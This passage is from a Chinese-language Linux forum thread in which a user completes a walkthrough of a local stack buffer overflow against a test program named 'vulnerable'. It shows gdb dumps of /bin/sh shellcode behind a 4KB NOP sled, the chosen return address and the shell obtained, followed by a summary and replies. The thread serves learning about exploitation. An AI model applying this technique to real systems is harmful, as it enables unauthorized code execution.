计算得出的地址是:0xbf8abfbf,于是返回"一终端"输入bf;bf;8a;bf:

代码: 全选

......
The vulnerable has runed!.
bf     
�
20
12345123451234512===�bcd
bf
�
21
12345123451234512===��cd
8a
�
22
12345123451234512===���d
bf
�
23
12345123451234512===����
回车后"二终端"显示为:

代码: 全选

Breakpoint 1, 0x0804842c in copyout ()
(gdb) x/20x 0xbf8abfbf
0xbf8abfbf:     0x90909090      0x52d23190      0x732f6e68      0x2f2f6868		//看落入Shellcode了...就算不在栈底附近也是能定位的..只是加长了Shellcode的长度(4kb阿)
0xbf8abfcf:     0xe3896962      0xe1895352      0xcd0b428d      0x682f0080
0xbf8abfdf:     0x2f656d6f      0x6f6a6a6f      0x65702f75      0x655f6c72
0xbf8abfef:     0x75762f78      0x72656e6c      0x656c6261      0x00000000
0xbf8abfff:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/s 0xbf8abfbf
0xbf8abfbf:      "\220\220\220\220\2201�Rhn/shh//bi\211�RS\211�\215B\v�\200"
(gdb) 
0xbf8abfdd:      "/home/ojjou/perl_ex/vulnerable"
(gdb) 
0xbf8abffc:      ""
(gdb) 
0xbf8abffd:      ""
(gdb) 
0xbf8abffe:      ""
(gdb) 
0xbf8abfff:      ""
返回地址0xbf8abfbf在nop里必定会落入Shellcode的地址.

代码: 全选

(gdb) c
Continuing.
c

按c继续后,在执行攻击程序的控制台就可以得到Shell了:

代码: 全选

......
12345123451234512===����
$ echo hello world!
hello world!
$ 
本地缓冲区溢出比较简单,相信读者看到这里都能明白了(简单阿...但是也花了我好几个月的时间...)
<完>
总结:
一、 栈底地址可变…目前还不知道它的分配原理…不过个人猜测应该与进程号内存空间等有一定的线形关系吧…由于地址可边..以参数传递溢出数据变得不可行了…所以采用在进程运行后再对其传递攻击代码(也就是定位地址)..但是由于本人编程功底不足..对传递参数部分不太了解…故用简单的标准输入输出进行实验…还望有高手能够指点一二..
二、 知道了栈底还是不能定位shellcode…原因是程序路径的地址与栈底不再只是固定的值了…不过相对变化较小:只是随机的会偏移0x1000个字节…所以我在shellcode开头加上了0x1000个nop以达到定位shellcode的效果…但是也使得shellcode的长度变得很大…(多了4KB啊)..没想到更好的办法解决..也希望有高手能够指点一下
三、 感谢《网络渗透技术》此书的所有作者和安焦团队..你们的文章实在太好了...也十分不好意思改动你们的文章,如果有什么写的不对的地方也请指正和谅解。感谢SCZ的某篇文章(找栈底的指令是SCZ某篇文章上的…由于个人没记住文章..实在不好意思!)给我的启发…感谢google上的朋友们..还要感谢对我第一篇文章给予支持的朋友们!
ojjou
帖子: 16
注册时间: 2007-07-25 16:36

#2

帖子 ojjou » 2007-12-09 20:14

好长啊....我是有够罗嗦的...不过还是希望大家喜欢..我倒是把我遇到的所有问题都写出来..码字都码了我两天....喜欢ubuntu..经过研究linux的安全真的是越来越好了...呀..又开始罗嗦上了...由于文章太长我考虑制作成PDF从附件传上去...不过最近真的没空了..准备英语四级啊...(英语也不差..但是不知为什么就是过不去555)
confish
帖子: 9
注册时间: 2007-11-20 17:53

#3

帖子 confish » 2007-12-14 16:58

呵呵,真是不容易啊.前面的看了,后面的关于perl的那段没看,你是这样做的,我是按照前面的另外那个做的,就是用那种不精确地址,只在一个范围内的shellcode那种,利用程序也是用c的.感觉我那样大大降低的难度.也是因为我对系统没有你熟悉吧.
我在安焦的网站找到一个北大的老师的ppt,他也写了几个实现的.参照着搞了出来.
我最近也是忙着考四级呢.
那个,有本<the shellcoder's handbook>也是讲这个的,可以和这本书参照着看,不错的,我在看雪的论坛下的pdf,用的方法虽然不同,但是还是有着相当的互补性的.你可以看一下.
加油啊,把这些程序完全写出来之后做成一个系列,应该有很多人会喜欢的.
勿在浮沙筑高台
rainyee
帖子: 1
注册时间: 2007-11-16 23:43

#4

帖子 rainyee » 2008-04-02 22:28

请问你有《网络渗透技术》pdf电子书吗?ojjou
回复